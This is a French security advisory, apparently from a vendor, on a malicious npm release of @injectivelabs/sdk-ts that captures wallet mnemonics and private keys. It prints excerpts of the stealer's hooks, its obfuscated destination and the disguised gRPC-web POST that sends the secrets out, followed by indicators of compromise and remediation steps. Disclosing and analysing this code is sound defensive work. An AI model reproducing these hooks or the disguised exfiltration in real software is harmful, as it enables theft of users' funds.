Une version malveillante de @injectivelabs/sdk-ts, un paquet npm qui enregistre environ 50 000 téléchargements hebdomadaires, a livré du code qui enregistre les mnémoniques de portefeuille et les clés privées au fur et à mesure de leur dérivation et les envoie à un point de terminaison contrôlé par un attaquant. La mauvaise version, 1.20.21, était en ligne sur npm pendant moins d'une heure le 8 juin 2026 avant que le mainteneur ne le remarque et ne publie un correctif propre. Dans cet intervalle, l'attaquant a également republié le même 1.20.21 numéro de version sur 17 autres paquets dans le @injectivelabs scope, chacun épinglé au SDK empoisonné, de sorte que les projets dépendant de l'un d'entre eux tireraient le voleur de manière transitive.
La charge utile est petite et se lit comme une instrumentation ordinaire. Elle ne s'exécute pas au moment de l'installation et elle ne perturbe aucun comportement du SDK. Elle attend que l'application dérive une clé lors d'une utilisation normale, puis copie discrètement le secret.
Comment fonctionne le voleur
Le code malveillant se trouve dans deux artefacts de build, dist/cjs/accounts-Cy0p4lLW.cjs et dist/esm/accounts-jQ1GSgaW.js. Comparés à la version propre 1.20.23, les deux fichiers sont identiques au niveau des octets, à l'exception d'un bloc injecté et de deux hooks d'une ligne. Le bloc est étiqueté comme src/utils/key-derivation-telemetry.ts et encadré dans son propre commentaire de documentation comme des métriques d'utilisation anonymisées pour l'optimisation du SDK. Rien de tout cela n'est anonymisé.
Les deux hooks se trouvent dans PrivateKey.fromMnemonic et PrivateKey.fromHex, les points d'entrée standards qu'une application appelle pour transformer une phrase mnémonique ou une clé hexadécimale brute en un portefeuille utilisable. Chaque hook se déclenche avant l'exécution de la dérivation réelle, de sorte que le secret est capturé à chaque appel légitime :
static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
trackKeyDerivation("fm", words); // full mnemonic phrase
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
static fromHex(privateKey) {
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes"); // raw private key
...
}
Les marqueurs « fm » et « fh » indiquent à l'opérateur le type de secret que contient chaque enregistrement, mnémonique ou hexadécimal, afin qu'il puisse reconstruire le portefeuille de son côté. trackKeyDerivation ajoute un enregistrement horodaté à une file d'attente en mémoire et planifie un vidage :
function trackKeyDerivation(method, value) {
_q.push(`${method}:${value}:${Date.now()}`);
_flush();
}
L'exfiltration est l'endroit où l'attaquant a mis l'effort à se fondre dans la masse. L'hôte de destination est stocké sous forme de tableau de codes de caractères et reconstruit à l'exécution, de sorte qu'une recherche en texte clair du bundle pour le domaine ne trouve rien :
le domaine ne trouve rien :
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = "https://" + _d() + "/"; // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network
L'hôte décodé, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, est un sous-domaine conçu pour ressembler à l'infrastructure gRPC-web propre à Injective, de sorte que le trafic d'exfiltration côtoie les appels réseau qu'une véritable application Injective effectue déjà. Un minuteur anti-rebond de 2 secondes regroupe les enregistrements en file d'attente, les joint avec |, encode le blob en base64 et l'envoie :
function _send(d) {
fetch(_ep, {
method: "POST",
headers: {
"Content-Type": "application/grpc-web+proto",
"X-Request-Id": d, // base64 blob of stolen key material
},
...
}).catch(() => {});
// node fallback: require("https").request(...) with the same headers
}
Les données volées transitent dans l'en-tête de requête X-Request-Id plutôt que dans le corps, et le chemin du nœud envoie un corps de longueur nulle avec, de sorte que sur le réseau, la requête ressemble à un appel gRPC-web normal transportant un ID de requête. Chaque chemin d'échec est une capture vide et silencieuse, de sorte qu'une exfiltration bloquée ou échouée ne signale jamais d'erreur à la victime. Le choix d'application/grpc-web+proto comme type de contenu complète le déguisement.
Étant donné que le déclencheur est la dérivation de clé à l'exécution et non un script de cycle de vie, les scanners et les sandboxes d'installation qui ne surveillent que le postinstall voient un package propre. Le bloc de scripts dans le manifeste n'a aucun hook d'installation.
Amplification à travers la portée @injectivelabs
Seul @injectivelabs/sdk-ts@1.20.21 contient le code du voleur. Les 17 autres packages que l'attaquant a republiés à la version 1.20.21 n'ont pas été modifiés dans leur propre source. Chacun a été republié avec une dépendance fixe sur @injectivelabs/sdk-ts@1.20.21, la version empoisonnée. Un projet qui a installé @injectivelabs/wallet-core@1.20.21, par exemple, résoudrait le SDK malveillant de manière transitive et exécuterait le voleur sans jamais nommer sdk-ts dans son propre manifeste. C'est pourquoi l'audit de vos seules dépendances directes n'est pas suffisant ici. Les noms de packages axés sur le portefeuille dans la portée correspondent directement aux flux de travail exacts, aux phrases mnémoniques et aux clés privées que la charge utile a été conçue pour capturer.
Impact et confinement
La compromission a été introduite par le biais de commits provenant d'un compte GitHub ayant un historique établi sur le dépôt, ce qui indique une prise de contrôle de compte plutôt qu'une attaque opportuniste. Le 1.20.21 a été publié le 8 juin 2026 à 22h59 GMT+2, le mainteneur a annulé la modification à 23h18 et une version propre a été publiée à 23h48. Selon les propres statistiques de npm, la version malveillante a été téléchargée 310 fois avant d'être retirée, un petit nombre comparé aux 50 000 téléchargements hebdomadaires du projet et à ses 87 packages dépendants. La rapidité de la réponse du mainteneur a empêché que la situation ne soit bien pire.
Le confinement n'est pas complet. Au moment du rapport source, la version malveillante avait été dépréciée sur npm avec un avertissement mais non supprimée, elle reste donc téléchargeable, et les artefacts de publication de la version compromise étaient toujours présents sur la page des versions GitHub du projet. Toute phrase mnémonique ou clé privée ayant transité par ces packages doit être considérée comme exposée. Déplacez les fonds, puis faites pivoter les clés et les phrases mnémoniques.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Indicateurs de compromission
Indicateurs réseau
Point d'extrémité d'exfiltration : https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/
Fichiers malveillants
dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
Paquets affectés
@injectivelabs/sdk-ts@1.20.21 (contient le stealer)@injectivelabs/utils@1.20.21@injectivelabs/networks@1.20.21@injectivelabs/ts-types@1.20.21@injectivelabs/exceptions@1.20.21@injectivelabs/wallet-base@1.20.21@injectivelabs/wallet-core@1.20.21@injectivelabs/wallet-cosmos@1.20.21@injectivelabs/wallet-private-key@1.20.21@injectivelabs/wallet-evm@1.20.21@injectivelabs/wallet-trezor@1.20.21@injectivelabs/wallet-cosmostation@1.20.21@injectivelabs/wallet-ledger@1.20.21@injectivelabs/wallet-wallet-connect@1.20.21@injectivelabs/wallet-magic@1.20.21@injectivelabs/wallet-strategy@1.20.21@injectivelabs/wallet-turnkey@1.20.21@injectivelabs/wallet-cosmos-strategy@1.20.21
Correction
- Mettez à jour n'importe quel
@injectivelabspackage épinglé ou résoluble à la version 1.20.21 vers la version saine 1.20.23.
Dernière mise à jour le : 9 juil. 2026

